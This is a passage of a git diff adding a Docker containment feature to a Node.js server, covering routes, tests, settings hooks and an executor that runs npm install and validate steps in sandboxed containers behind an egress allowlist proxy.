res.status(result.ok ? 200 : 409).json(result);+}));++router.post('/run', asyncHandler(async (req, res) => {+ const { worktree, phase, command, timeoutMinutes } = validateRequest(dockerContainmentRunSchema, req.body ?? {});+ const gate = await readGate();+ if (!gate.enabled) return featureOff(res);+ // A caller that hangs up cancels the run; the container is force-removed.+ const controller = new AbortController();+ res.on('close', () => { if (!res.writableEnded) controller.abort(); });+ const result = await runContained({+ worktree, phase, command, settings: gate.settings, dataDir: PATHS.data,+ timeoutMs: timeoutMinutes ? timeoutMinutes * 60_000 : undefined, signal: controller.signal,+ });+ res.status(result.status === 'refused' ? 409 : 200).json(result);+}));++export default router;diff --git a/server/routes/dockerContainment.test.js b/server/routes/dockerContainment.test.jsnew file mode 100644index 0000000000..9fa563472d--- /dev/null+++ b/server/routes/dockerContainment.test.js@@ -0,0 +1,75 @@+import { beforeEach, describe, expect, it, vi } from 'vitest';+import express from 'express';+import { request } from '../lib/testHelper.js';+import { errorMiddleware } from '../lib/errorHandler.js';++const gate = vi.hoisted(() => ({ enabled: false, settings: {}, resolveEngine: null, spawn: null }));+vi.mock('../services/instanceFeatures.js', () => ({ isInstanceFeatureEnabled: vi.fn(async () => gate.enabled) }));+vi.mock('../services/settings.js', () => ({ getSettings: vi.fn(async () => gate.settings) }));+vi.mock('../services/dockerEngine.js', async (importOriginal) => ({+ ...await importOriginal(),+ resolveDockerEngine: vi.fn(async () => gate.resolveEngine()),+}));+vi.mock('node:child_process', async (importOriginal) => ({ ...await importOriginal(), spawn: (...args) => gate.spawn(...args) }));++const { default: router } = await import('./dockerContainment.js');+const { resolveDockerEngine } = await vi.importActual('../services/dockerEngine.js');++/** Real resolver verdicts for an absent, a stopped and a remote-only Docker. */+const dockerVerdict = (kind) => {+ if (kind === 'absent') return resolveDockerEngine({ bin: null });+ const endpoint = kind === 'remote' ? 'ssh://[email protected]' : 'unix:///var/run/docker.sock';+ const createCli = () => ({+ capture: async (args) => (args[0] === 'context'+ ? { success: true, stdout: JSON.stringify({ Name: 'example', Current: true, DockerEndpoint: endpoint }) }+ : { success: false, stdout: '', stderr: 'Cannot connect to the Docker daemon' }),+ });+ return resolveDockerEngine({ bin: '/usr/bin/docker', createCli, env: {}, platform: 'linux' });+};++const app = express();+app.use(express.json());+app.use('/api/docker-containment', router);+app.use(errorMiddleware);++// A literal POSIX path, not a host temp dir: the run schema accepts only absolute POSIX paths,+// so a Windows temp path would fail validation (400) before the gate under test. Every run+// here is refused before the worktree is touched on disk.+const worktree = '/srv/example/worktree';++beforeEach(() => {+ gate.enabled = false;+ gate.settings = {};+ gate.resolveEngine = vi.fn(() => { throw new Error('Docker must not be consulted'); });+ gate.spawn = vi.fn(() => { throw new Error('nothing may be spawned'); });+});++describe('Docker containment routes', () => {+ it('answers status and refuses runs without a single Docker call while the feature is off', async () => {+ const status = await request(app).get('/api/docker-containment/status');+ expect(status.status).toBe(200);+ expect(status.body).toMatchObject({ enabled: false, state: 'disabled', ready: false });+ const run = await request(app).post('/api/docker-containment/run').send({ worktree, phase: 'validate', command: 'npm test' });+ expect(run.status).toBe(409);+ expect(run.body).toMatchObject({ status: 'refused', code: 'CONTAINMENT_UNAVAILABLE', state: 'disabled', contained: false });+ expect(gate.resolveEngine).not.toHaveBeenCalled();+ expect(gate.spawn).not.toHaveBeenCalled();+ });++ it.each([['absent', 'docker-missing'], ['stopped', 'docker-stopped'], ['remote', 'docker-remote-refused']])('refuses a run with the resolver reason when Docker is %s, executing nothing', async (kind, state) => {+ gate.enabled = true;+ const verdict = await dockerVerdict(kind);+ expect(verdict.state).toBe(state);+ gate.resolveEngine = vi.fn(() => verdict);+ const res = await request(app).post('/api/docker-containment/run').send({ worktree, phase: 'install', command: 'npm ci' });+ expect(res.status).toBe(409);+ expect(res.body).toMatchObject({ status: 'refused', code: 'CONTAINMENT_UNAVAILABLE', reason: verdict.message, contained: false });+ expect(gate.spawn).not.toHaveBeenCalled();+ });++ it('validates the run body', async () => {+ gate.enabled = true;+ const res = await request(app).post('/api/docker-containment/run').send({ worktree: 'relative/path', phase: 'build', command: '' });+ expect(res.status).toBe(400);+ });+});diff --git a/server/routes/settings.js b/server/routes/settings.jsindex 75d7d69a22..e1d8b09e8f 100644--- a/server/routes/settings.js+++ b/server/routes/settings.js@@ -29,6 +29,7 @@ import { agentContextSettingsSchema } from '../lib/agentContextValidation.js';import { EFFORT_LEVELS } from '../lib/providerModels.js';import { settingsSlicePatchSchema, privateCredentialParamsSchema, privateCredentialInputSchema, backupConfigSchema, autoUpdateSettingsSchema, sharingSettingsPatchSchema, featureProviderConfigSchema, autofixerSettingsSchema, codeReviewSettingsSchema, locationSettingsSchema, hideFirstRunCardSchema, networkSetupPreferenceSchema, settingsEmbeddingsSchema, localLlmSettingsSchema, imessageConfigSchema, signalConfigSchema, beeperSettingsSchema, beeperSavedScopesSchema, spotifyConfigSchema, youtubeConfigSchema, apiAccessSettingsSchema, instanceFeatureSettingsSchema, instanceFeatureIdSchema, instanceFeatureUpdateSchema, instanceFeatureGroupSettingsSchema, instanceFeatureGroupIdSchema, instanceFeatureGroupUpdateSchema, loraTrainingConfigSchema, pipelineEditorialChecksSettingsSchema, creativeDirectorSettingsSchema, musicSettingsSchema, federationSettingsSchema, privacySettingsSchema, seriesAutopilotSettingsSchema, layeredIntelligenceSettingsSchema, imageGenGrokSettingsSchema, imageGenAgySettingsSchema, imageGenFalSettingsSchema, renderDefaultsSettingsSchema, videoGenSettingsSchema, subscriptionCostsMapSchema, subscriptionPlanTiersMapSchema, usageApiBilledInstanceIdsSchema, namedOrchestrationProfileSchema, orchestrationProfilesSettingsSchema, harnessSettingsSchema, credentialBootstrapsSettingsSchema, validateRequest } from '../lib/validation.js';import { filmLookSavedPresetsSchema } from '../lib/filmLookValidation.js';+import { dockerContainmentSettingsSchema } from '../lib/dockerContainmentValidation.js';const router = Router();@@ -342,6 +343,17 @@ async function reconcileItermOnToggle() {.catch((err) => console.error(`❌ iTerm2 bridge reconcile (feature-toggle) failed: ${err.message}`));}+// Docker containment owns a shared egress network and per-run containers,+// networks and volumes (#12844): turning it on verifies the engine and sweeps+// orphans, turning it off cancels live runs and removes everything — now, not+// at the next restart. Same persisted-flag rule as above.+async function reconcileDockerContainmentOnToggle(result) {+ const enabled = result.features.find((feature) => feature.id === 'docker-containment')?.enabled === true;+ const { reconcileDockerContainment } = await import('../services/dockerContainment.js');+ await reconcileDockerContainment({ enabled, reason: 'feature-toggle' })+ .catch((err) => console.error(`❌ Docker containment reconcile (feature-toggle) failed: ${err.message}`));+}+// An interval-only Beeper save (no `enabled` flip) used to take effect only// at the next process restart: the registered event's `intervalMs` is read// once, at `schedule()` time (`createSettingsGatedSyncScheduler.js`), and@@ -366,6 +378,7 @@ router.put('/features/:featureId', asyncHandler(async (req, res) => {const result = await updateInstanceFeature(featureId, enabled);if (featureId === 'beeper') await reconcileBeeperArming('feature-toggle');if (featureId === 'iterm') await reconcileItermOnToggle();+ if (featureId === 'docker-containment') await reconcileDockerContainmentOnToggle(result);res.json(result);}));@@ -551,6 +564,9 @@ const validateSettingsPatch = async (body) => {if (body?.apiAccess !== undefined) {validateRequest(apiAccessSettingsSchema.partial(), body.apiAccess);}+ if (body?.dockerContainment !== undefined) {+ validateRequest(dockerContainmentSettingsSchema, body.dockerContainment);+ }if (body?.instanceFeatures !== undefined) {validateRequest(instanceFeatureSettingsSchema, body.instanceFeatures);}diff --git a/server/services/README.md b/server/services/README.mdindex fdeb62b35c..77ef85fe15 100644--- a/server/services/README.md+++ b/server/services/README.md@@ -30,6 +30,8 @@ image-generation paths below are useful entry points when tracing render jobs.| `musicVideo/sharingCopy.js` | Source-hashed private sharing MP4s: queued 720p H.264/AAC export, strict decimal 100 MB cap, supervised cancellation, verified download and owned-file cleanup. || `mediaJobQueue/index.js` | Owns admission, lanes, durability and terminal effects; boot passes `deferCompletionRecovery` to `initMediaJobQueue()` and calls `resumeMediaJobCompletions()` after completion hooks are registered; `videoHolds.js` returns local-video cohort preparation results and owns circuit breakers, `recoverySettlement.js` names the transient recovery evidence and the maintenance-permit release decision, while `videoGen/modelSelection.js` owns model-selection policy. || `imageGen/index.js` | Mode-aware image backend execution dispatcher. Preparation uses `lib/imageCleanDefaults.js` for cleaner policy and resolves local model identity before enqueueing. |+| `dockerEngine.js` | Shared Docker discovery (#12844): `resolveDockerCli` (PATH, then the Docker Desktop bundle), `probeDocker`, and `resolveDockerEngine` — prefers a running Docker Desktop, falls back to native Docker Engine, refuses `tcp://`/`ssh://` endpoints, requires Linux containers and pins the chosen context. Never starts or installs Docker. |+| `dockerContainment.js` | Docker containment executor (#12844): `runContained` (install/validate over a worktree, serialized per worktree, wall-time kill-and-remove, tracked-file patch, refuses with `CONTAINMENT_UNAVAILABLE` instead of ever running on the host), status, explicit image pull, orphan sweep and `reconcileDockerContainment` for the feature toggle. || `superColliderRuntime.js` | Managed SuperCollider runtime I/O (#9412): Docker probe, recipe-hash-stamped image build, `runSuperColliderContainer` (contained `sclang` run with forced container removal), the synthetic render probe and its cached evidence, `getSuperColliderStatus` and idempotent `setupSuperColliderRuntime`. Never runs at boot. || `superColliderRender.js` | Contained SuperCollider renders (#9413): media-queue `supercollider` jobs that snapshot source into a job-private dir, run the trusted NRT wrapper via `runSuperColliderContainer` (output quota, timeout, cancel → container force-removed), validate the decoded WAV and publish a 24 h preview + provenance sidecar (`readSuperColliderPreview`). Sweeps orphaned containers/scratch before each render. || `universeBuilderRender.js` | Universe Builder batch render jobs. |diff --git a/server/services/bootstrap.js b/server/services/bootstrap.jsindex 5a67f36b7d..6f81ce61cf 100644--- a/server/services/bootstrap.js+++ b/server/services/bootstrap.js@@ -456,6 +456,15 @@ const startBackgroundServices = ({ spawnerReady, io, httpsEnabled, port }) => {}).catch(err => logBootstrapFailure('⚠️ Eidoverse startup deferred', err));+ // Docker containment (#12844): sweep containers/volumes a crash or restart+ // left behind — only when the user turned the feature on, so a fresh install+ // makes no Docker call at boot.+ Promise.all([import('./instanceFeatures.js'), import('./dockerContainment.js')])+ .then(async ([{ isInstanceFeatureEnabled }, { reconcileDockerContainment }]) => {+ if (await isInstanceFeatureEnabled('docker-containment')) await reconcileDockerContainment({ enabled: true, reason: 'boot' });+ })+ .catch(err => logBootstrapFailure('⚠️ Docker containment boot reconcile deferred', err));+// Initialize agent automation scheduler and action executorautomationScheduler.init().catch(err => logBootstrapFailure('❌ Agent scheduler init failed', err));// agentActionExecutor.init() is synchronous — guard with try/catch so a throwndiff --git a/server/services/dockerContainment.js b/server/services/dockerContainment.jsnew file mode 100644index 0000000000..87a4cbe701--- /dev/null+++ b/server/services/dockerContainment.js@@ -0,0 +1,490 @@+/**+ * Docker containment executor (#12844): runs one install or validate step+ * over a repository worktree inside the profile `lib/dockerContainment.js`+ * spells out, and keeps the Docker objects it owns reconciled with the+ * `docker-containment` instance feature.+ *+ * Never falls back to the host: when no local Linux engine is ready, or the+ * pinned image is not pulled, a run is REFUSED with the resolver's reason+ * (`code: 'CONTAINMENT_UNAVAILABLE'`). Callers decide what that means — the+ * autofixer blocks promotion, `contained-run.js` exits non-zero.+ *+ * Node builtins plus dependency-light modules, so the standalone autofixer+ * package can import it. Settings and the feature flag are the caller's input.+ */++import { spawn } from '../lib/childProcess.js';+import { lstat, mkdir, mkdtemp, readFile, realpath, rm, chmod, writeFile } from 'node:fs/promises';+import { homedir, tmpdir } from 'node:os';+import { join } from 'node:path';+import { randomBytes } from 'node:crypto';+import { bufferedSpawn } from '../lib/bufferedSpawn.js';+import {+ DOCKER_CONTAINMENT_CACHE_VOLUME,+ DOCKER_CONTAINMENT_CREATED_LABEL,+ DOCKER_CONTAINMENT_EGRESS_NETWORK,+ DOCKER_CONTAINMENT_LABEL,+ DOCKER_CONTAINMENT_NODE_IMAGES,+ DOCKER_CONTAINMENT_PATCH_FILE,+ DOCKER_CONTAINMENT_POLICY_VERSION,+ DOCKER_CONTAINMENT_TRACKED_LIST,+ DOCKER_CONTAINMENT_VOLUME_TTL_MS,+ DOCKER_CONTAINMENT_WORKTREE_LABEL,+ assertDockerMountSource,+ buildDockerContainmentNetworkArgs,+ buildDockerContainmentRunArgs,+ buildDockerContainmentVolumeCreateArgs,+ buildDockerContainmentVolumeInitArgs,+ buildDockerEgressProxyCreateArgs,+ buildEgressAllowlist,+ dockerContainmentUser,+ dockerContainmentWorkVolume,+ dockerContainmentWorktreeKey,+ isDigestPinnedImage,+ isDockerContainmentPhase,+ parseNpmrcRegistryHosts,+ resolveDockerContainmentLimits,+ selectDockerContainmentNodeMajor,+} from '../lib/dockerContainment.js';+import { DOCKER_EGRESS_PROXY_READY, DOCKER_EGRESS_PROXY_SOURCE } from '../lib/dockerEgressProxy.js';+import { clipDiagnostic, resolveDockerEngine } from './dockerEngine.js';++export const CONTAINMENT_UNAVAILABLE = 'CONTAINMENT_UNAVAILABLE';+const SHARED = 'shared';+const DOCKER_SHORT_TIMEOUT_MS = 30_000;+const PROXY_READY_TIMEOUT_MS = 20_000;+const PULL_TIMEOUT_MS = 30 * 60_000;+const MAX_HINT_FILE_BYTES = 64 * 1024;++const activeRuns = new Map(); // runId → { abort, worktreeKey }+const worktreeTails = new Map(); // worktreeKey → Promise+let armedThisProcess = false;++// The run id encodes its start time, so a sweep can age objects other+// processes created without another label.+const newRunId = (now = Date.now()) => `r${now.toString(36)}${randomBytes(4).toString('hex')}`;+const runStartedAt = (runId) => {+ const match = /^r([0-9a-z]+)[0-9a-f]{8}$/.exec(String(runId));+ const ms = match ? parseInt(match[1], 36) : NaN;+ return Number.isFinite(ms) ? ms : null;+};+// A created-but-not-started proxy or a still-empty run network belongs to a run+// another process is setting up; leave it alone until well past any wall limit.+const CREATED_CONTAINER_GRACE_MS = 10 * 60_000;+const RUN_NETWORK_GRACE_MS = 5 * 60 * 60_000;++const refusal = (reason, state = 'unavailable', extra = {}) => ({+ status: 'refused', code: CONTAINMENT_UNAVAILABLE, state, reason, contained: false, ...extra,+});++/** The configured image for a Node major: a digest-pinned operator override, else the shipped pin. */+function dockerContainmentImages(settings = {}) {+ const overrides = settings?.imageOverrides && typeof settings.imageOverrides === 'object' ? settings.imageOverrides : {};+ const images = { ...DOCKER_CONTAINMENT_NODE_IMAGES };+ for (const [major, ref] of Object.entries(overrides)) {+ if (/^\d{1,3}$/.test(major) && isDigestPinnedImage(ref)) images[Number(major)] = ref;+ }+ return images;+}++async function imagePresent(cli, image) {+ const result = await cli.capture(['image', 'inspect', '--format', '{{.Id}}', image], { timeoutMs: DOCKER_SHORT_TIMEOUT_MS });+ return result.success && Boolean(String(result.stdout).trim());+}++/**+ * The feature card's status: the engine verdict plus which pinned images are+ * pulled. Disabled ⇒ answered without a single Docker call.+ */+export async function getDockerContainmentStatus({ enabled, settings = {}, engine: injected } = {}) {+ const base = { enabled: Boolean(enabled), policyVersion: DOCKER_CONTAINMENT_POLICY_VERSION };+ if (!enabled) return { ...base, state: 'disabled', ready: false, message: 'Docker containment is off. Turn it on to check for a local Docker engine.', engine: null, images: [] };+ const engine = injected ?? await resolveDockerEngine();+ const images = dockerContainmentImages(settings);+ const listed = await Promise.all(Object.entries(images).map(async ([major, ref]) => ({+ major: Number(major), ref, present: engine.ready ? await imagePresent(engine.cli, ref) : false,+ })));+ return { ...base, state: engine.state, ready: engine.ready, message: engine.message, engine: engine.engine, images: listed };+}++/** Explicit operator action: pull one pinned image (never automatic). */+export async function pullDockerContainmentImage({ major, settings = {}, engine: injected, onLine } = {}) {+ const image = dockerContainmentImages(settings)[Number(major)];+ if (!image) return { ok: false, error: `No image is pinned for Node ${major}.` };+ const engine = injected ?? await resolveDockerEngine();+ if (!engine.ready) return { ok: false, error: engine.message, state: engine.state };+ const result = await runDocker(engine.cli, ['pull', image], { timeoutMs: PULL_TIMEOUT_MS, onLine });+ return result.exitCode === 0 ? { ok: true, image } : { ok: false, image, error: clipDiagnostic(result.tail || 'docker pull failed') };+}++/**+ * Spawn one long docker command with line streaming, a bounded output tail and+ * a wall-time limit. `onTimeout` runs before the CLI is killed (the CLI dying+ * does not stop a container, so the caller force-removes it there).+ */+function runDocker(cli, args, { timeoutMs = 0, signal, onLine, onTerminate, maxBytes = 64 * 1024, spawnImpl = spawn } = {}) {+ return new Promise((resolve) => {+ let tail = '';+ let truncated = false;+ let terminated = null;+ let settled = false;+ const child = spawnImpl(cli.bin, [...(cli.globalArgs ?? []), ...args], { env: cli.env ?? process.env, stdio: ['ignore', 'pipe', 'pipe'] });+ const finish = (exitCode, error = null) => {+ if (settled) return;+ settled = true;+ clearTimeout(timer);+ signal?.removeEventListener?.('abort', onAbort);+ resolve({ exitCode, error, tail, truncated, terminated });+ };+ const append = (chunk) => {+ const text = chunk.toString();+ tail += text;+ if (tail.length > maxBytes) { tail = tail.slice(-maxBytes); truncated = true; }+ if (typeof onLine === 'function') {+ for (const line of text.split(/\r?\n/)) {+ if (!line) continue;+ try { onLine(line); } catch (err) { console.error(`⚠️ contained-run output hook failed: ${err.message}`); }+ }+ }+ };+ const terminate = (reason) => {+ if (terminated || settled) return;+ terminated = reason;+ Promise.resolve(onTerminate?.(reason))+ .catch((err) => console.error(`❌ Contained run cleanup on ${reason} failed: ${err.message}`))+ .finally(() => { try { child.kill('SIGKILL'); } catch { /* already gone */ } });+ };+ const onAbort = () => terminate('cancelled');+ child.stdout?.on('data', append);+ child.stderr?.on('data', append);+ child.on('error', (err) => finish(-1, err.message));+ child.on('close', (code) => finish(code ?? -1));+ const timer = timeoutMs > 0 ? setTimeout(() => terminate('timeout'), timeoutMs) : null;+ if (signal?.aborted) onAbort();+ else signal?.addEventListener?.('abort', onAbort, { once: true });+ });+}++async function readHint(worktree, name) {+ const path = join(worktree, name);+ const info = await lstat(path).catch(() => null);+ if (!info?.isFile() || info.size > MAX_HINT_FILE_BYTES) return null;+ return readFile(path, 'utf8').catch(() => null);+}++/** The host-side read of what the repo declares: Node version and registries. */+async function readRepoHints(worktree) {+ const [nvmrc, nodeVersion, pkgText, npmrc] = await Promise.all(['.nvmrc', '.node-version', 'package.json', '.npmrc'].map((name) => readHint(worktree, name)));+ let enginesNode = null;+ try { enginesNode = JSON.parse(pkgText ?? 'null')?.engines?.node ?? null; } catch { enginesNode = null; }+ return { nvmrc, nodeVersion, enginesNode: typeof enginesNode === 'string' ? enginesNode : null, npmrcHosts: parseNpmrcRegistryHosts(npmrc) };+}++/** Tracked file names (git ls-files), the patch's scope. Empty when not a git checkout. */+async function trackedFiles(worktree) {+ const result = await bufferedSpawn('git', ['-C', worktree, 'ls-files', '-z'], { timeoutMs: DOCKER_SHORT_TIMEOUT_MS, shell: false });+ if (!result.success) return [];+ return String(result.stdout).split('\0').filter((name) => name && !/[\n\r]/.test(name));+}++/** Read the run's patch: a regular file within `maxBytes`, else null (the container controls /out). */+async function readPatch(outputDir, maxBytes) {+ const path = join(outputDir, DOCKER_CONTAINMENT_PATCH_FILE);+ const info = await lstat(path).catch(() => null);+ if (!info?.isFile()) return { patch: null, patchTruncated: false };+ if (info.size > maxBytes) return { patch: null, patchTruncated: true };+ const text = await readFile(path, 'utf8');+ return { patch: text.trim() ? text : null, patchTruncated: false };+}++const capture = (cli, args) => cli.capture(args, { timeoutMs: DOCKER_SHORT_TIMEOUT_MS });+const forceRemoveContainer = (cli, name) => capture(cli, ['rm', '--force', name]);++async function ensureVolume(cli, name, { runId, worktreeKey = null, fresh = false, now }) {+ if (fresh) await capture(cli, ['volume', 'rm', '--force', name]);+ else if ((await capture(cli, ['volume', 'inspect', name])).success) return false;+ const created = await capture(cli, buildDockerContainmentVolumeCreateArgs({ name, runId: worktreeKey ? runId : SHARED, worktreeKey, createdAtMs: now() }));+ if (!created.success) throw new Error(`could not create volume ${name}: ${clipDiagnostic(created.stderr)}`);+ return true;+}++async function ensureEgressNetwork(cli) {+ if ((await capture(cli, ['network', 'inspect', DOCKER_CONTAINMENT_EGRESS_NETWORK])).success) return false;+ const created = await capture(cli, buildDockerContainmentNetworkArgs({ name: DOCKER_CONTAINMENT_EGRESS_NETWORK, runId: SHARED, internal: false }));+ if (!created.success && !/already exists/i.test(created.stderr)) throw new Error(`could not create the egress network: ${clipDiagnostic(created.stderr)}`);+ return created.success;+}++/** Start the run's egress proxy on its internal network and wait for it to listen. */+async function startEgressProxy(cli, { image, runId, network, allowlist, user, sleep }) {+ const name = `portos-contained-proxy-${runId}`;+ const steps = [+ buildDockerEgressProxyCreateArgs({ image, containerName: name, runId, network, allowlist, source: DOCKER_EGRESS_PROXY_SOURCE, user }),+ ['network', 'connect', DOCKER_CONTAINMENT_EGRESS_NETWORK, name],+ ['start', name],+ ];+ for (const args of steps) {+ const result = await capture(cli, args);+ if (!result.success) throw new Error(`egress proxy ${args[0]} failed: ${clipDiagnostic(result.stderr || result.stdout)}`);+ }+ const deadline = Date.now() + PROXY_READY_TIMEOUT_MS;+ while (Date.now() < deadline) {+ const logs = await capture(cli, ['logs', name]);+ if (`${logs.stdout}${logs.stderr}`.includes(DOCKER_EGRESS_PROXY_READY)) return name;+ await sleep(250);+ }+ throw new Error('the egress proxy did not start listening in time');+}++/**+ * Run one contained step.+ *+ * @param {object} p+ * @param {string} p.worktree - repository worktree (mounted read-only)+ * @param {'install'|'validate'} p.phase+ * @param {string} p.command - shell command run as `sh -c` inside the container+ * @param {object} [p.settings] - the `dockerContainment` settings slice+ * @param {string|null} [p.dataDir] - PortOS data directory (never mountable)+ * @param {string} [p.homeDir]+ * @param {number} [p.timeoutMs] - overrides the phase's wall limit+ * @param {AbortSignal} [p.signal]+ * @param {(line: string) => void} [p.onLine]+ * @param {object} [p.deps] - test seams: engine, spawnImpl, now, sleep, tmpRoot+ * @returns {Promise<object>} `{ status: 'completed'|'terminated'|'failed', exitCode, log, patch, contained: true, … }`+ * or a `{ status: 'refused', code: 'CONTAINMENT_UNAVAILABLE', reason }` refusal.+ */+export async function runContained({+ worktree, phase, command, settings = {}, dataDir = null, homeDir = homedir(),+ timeoutMs, signal, onLine, deps = {},+}) {+ if (!isDockerContainmentPhase(phase)) return refusal('phase must be install or validate', 'invalid');+ if (typeof command !== 'string' || !command.trim()) return refusal('a command is required', 'invalid');+ const engine = deps.engine ?? await resolveDockerEngine();+ if (!engine.ready) return refusal(engine.message, engine.state);++ const realWorktree = await realpath(worktree).catch(() => null);+ if (!realWorktree || !(await lstat(realWorktree).then((info) => info.isDirectory(), () => false))) {+ return refusal('the worktree is not a readable directory', 'invalid');+ }+ const realHome = await realpath(homeDir).catch(() => homeDir);+ const realData = dataDir ? await realpath(dataDir).catch(() => dataDir) : null;+ try {+ assertDockerMountSource(realWorktree, { dataDir: realData, realHome });+ } catch (err) {+ return refusal(err.message, 'mount-refused');+ }++ const hints = await readRepoHints(realWorktree);+ const images = dockerContainmentImages(settings);+ const node = selectDockerContainmentNodeMajor({ ...hints, images });+ if (!node.supported) {+ return refusal(`The repository asks for Node ${node.major} (${node.source}); no image is pinned for it. Supported: ${Object.keys(images).join(', ')}, or add a digest-pinned image override in settings.`, 'unsupported-node');+ }+ if (!await imagePresent(engine.cli, node.image)) {+ return refusal(`The pinned Node ${node.major} image is not pulled on this machine. Use "Pull image" in Settings > Features > Docker containment.`, 'image-missing', { image: node.image });+ }++ const worktreeKey = dockerContainmentWorktreeKey(realWorktree);+ const run = () => executeRun({+ engine, worktree: realWorktree, worktreeKey, phase, command, settings, node, hints,+ dataDir: realData, realHome, timeoutMs, signal, onLine, deps,+ });+ const previous = worktreeTails.get(worktreeKey) ?? Promise.resolve();+ const next = previous.then(run, run);+ const tail = next.then(() => {}, () => {});+ worktreeTails.set(worktreeKey, tail);+ tail.then(() => { if (worktreeTails.get(worktreeKey) === tail) worktreeTails.delete(worktreeKey); });+ return next;+}++async function executeRun({ engine, worktree, worktreeKey, phase, command, settings, node, hints, dataDir, realHome, timeoutMs, signal, onLine, deps }) {+ const { cli } = engine;+ const now = deps.now ?? Date.now;+ const sleep = deps.sleep ?? ((ms) => new Promise((resolve) => { setTimeout(resolve, ms); }));+ if (signal?.aborted) return { status: 'terminated', reason: 'cancelled', exitCode: null, log: '', patch: null, contained: true };+ const limits = resolveDockerContainmentLimits(settings?.limits);+ const runId = newRunId(now());+ const user = dockerContainmentUser({ uid: process.getuid?.(), gid: process.getgid?.() });+ const workVolume = dockerContainmentWorkVolume(worktree);+ const containerName = `portos-contained-${runId}`;+ const network = phase === 'install' ? `portos-contained-net-${runId}` : null;+ const controller = new AbortController();+ const onOuterAbort = () => controller.abort();+ const started = now();+ let runDir = null;+ let proxyName = null;+ let result;+ try {+ signal?.addEventListener?.('abort', onOuterAbort, { once: true });+ activeRuns.set(runId, { abort: () => controller.abort(), worktreeKey });+ armedThisProcess = true;+ runDir = await realpath(await mkdtemp(join(deps.tmpRoot ?? tmpdir(), 'portos-contained-')));+ const inputDir = join(runDir, 'in');+ const outputDir = join(runDir, 'out');+ await mkdir(inputDir);+ await mkdir(outputDir);+ // The container user may not be the host user (fallback uid); let it write here only.+ await chmod(outputDir, 0o777);+ await writeFile(join(inputDir, DOCKER_CONTAINMENT_TRACKED_LIST), `${(await trackedFiles(worktree)).join('\n')}\n`);+ await sweepDockerContainmentOrphans({ engine, now }).catch((err) => console.error(`❌ Contained-run sweep failed: ${err.message}`));++ const freshWork = await ensureVolume(cli, workVolume, { runId, worktreeKey, fresh: phase === 'install', now });+ const freshCache = await ensureVolume(cli, DOCKER_CONTAINMENT_CACHE_VOLUME, { runId, now });+ const toInit = [freshWork && workVolume, freshCache && DOCKER_CONTAINMENT_CACHE_VOLUME].filter(Boolean);+ if (toInit.length) {+ const init = await capture(cli, buildDockerContainmentVolumeInitArgs({ image: node.image, containerName: `portos-contained-init-${runId}`, runId, volumes: toInit, user }));+ if (!init.success) throw new Error(`could not prepare the run volumes: ${clipDiagnostic(init.stderr)}`);+ }++ if (phase === 'install') {+ await ensureEgressNetwork(cli);+ const created = await capture(cli, buildDockerContainmentNetworkArgs({ name: network, runId }));+ if (!created.success) throw new Error(`could not create the run network: ${clipDiagnostic(created.stderr)}`);+ const allowlist = buildEgressAllowlist({ extraHosts: settings?.extraEgressHosts ?? [], npmrcHosts: hints.npmrcHosts });+ proxyName = await startEgressProxy(cli, { image: node.image, runId, network, allowlist, user, sleep });+ onLine?.(`portos-contained: egress allowed to ${allowlist.join(', ')}`);+ }++ const args = buildDockerContainmentRunArgs({+ phase, image: node.image, containerName, runId, worktree, inputDir, outputDir, workVolume,+ network, command, user, limits, dataDir, realHome,+ });+ const wallMs = Number.isFinite(timeoutMs) && timeoutMs > 0 ? timeoutMs : (phase === 'install' ? limits.installTimeoutMs : limits.validateTimeoutMs);+ const ran = await runDocker(cli, args, {+ timeoutMs: wallMs,+ signal: controller.signal,+ onLine,+ maxBytes: limits.maxLogBytes,+ spawnImpl: deps.spawnImpl,+ onTerminate: () => forceRemoveContainer(cli, containerName),+ });+ const { patch, patchTruncated } = ran.terminated ? { patch: null, patchTruncated: false } : await readPatch(outputDir, limits.maxPatchBytes);+ const status = ran.terminated ? 'terminated' : (ran.error || ran.exitCode === 125 ? 'failed' : 'completed');+ result = {+ status,+ ...(ran.terminated ? { reason: ran.terminated } : {}),+ ...(ran.error ? { error: ran.error } : {}),+ exitCode: ran.terminated ? null : ran.exitCode,+ log: ran.tail,+ logTruncated: ran.truncated,+ patch,+ patchTruncated,+ contained: true,+ };+ } catch (err) {+ result = { status: 'failed', error: clipDiagnostic(err.message), exitCode: null, log: '', patch: null, contained: true };+ } finally {+ signal?.removeEventListener?.('abort', onOuterAbort);+ await forceRemoveContainer(cli, containerName).catch(() => null);+ if (proxyName) await forceRemoveContainer(cli, proxyName).catch(() => null);+ if (network) await capture(cli, ['network', 'rm', network]).catch(() => null);+ // A killed run's volume may hold half-written state; drop it.+ if (result?.status === 'terminated') await capture(cli, ['volume', 'rm', '--force', workVolume]).catch(() => null);+ if (runDir) await rm(runDir, { recursive: true, force: true }).catch(() => {});+ activeRuns.delete(runId);+ }+ return {+ ...result,+ runId,+ phase,+ nodeMajor: node.major,+ image: node.image,+ engine: { kind: engine.engine?.kind ?? null, context: engine.engine?.context ?? null },+ durationMs: now() - started,+ };+}++const parseRows = (stdout) => String(stdout || '').split('\n').filter(Boolean).map((line) => line.split('\t'));++/**+ * Remove containers, networks and volumes a run left behind (a crash, a+ * restart mid-run). Live runs are skipped; the shared egress network and npm+ * cache stay unless `all` (the feature was turned off).+ */+async function sweepDockerContainmentOrphans({ engine, all = false, now = Date.now } = {}) {+ const { cli } = engine;+ const active = new Set(activeRuns.keys());+ const activeWorktrees = new Set([...activeRuns.values()].map((run) => run.worktreeKey));+ const label = DOCKER_CONTAINMENT_LABEL;+ const removed = { containers: 0, networks: 0, volumes: 0 };++ // Another process (the autofixer daemon, the server) may own a running+ // container, so outside a full teardown only stopped ones are orphans; a+ // running one is bounded by its owner's wall-time kill and `--rm`. Docker+ // itself refuses to remove a network or volume a live container uses.+ const states = all ? [] : ['created', 'exited', 'dead'].flatMap((state) => ['--filter', `status=${state}`]);+ const olderThan = (runId, graceMs) => {+ const startedAt = runStartedAt(runId);+ return startedAt === null || startedAt < now() - graceMs;+ };+ const containers = await capture(cli, ['ps', '--all', '--filter', `label=${label}`, ...states, '--format', `{{.Names}}\t{{.Label "${label}"}}\t{{.State}}`]);+ for (const [name, runId, state] of parseRows(containers.stdout)) {+ if (active.has(runId)) continue;+ if (!all && state === 'created' && !olderThan(runId, CREATED_CONTAINER_GRACE_MS)) continue;+ if ((await forceRemoveContainer(cli, name)).success) removed.containers += 1;+ }+ const networks = await capture(cli, ['network', 'ls', '--filter', `label=${label}`, '--format', `{{.Name}}\t{{.Label "${label}"}}`]);+ for (const [name, runId] of 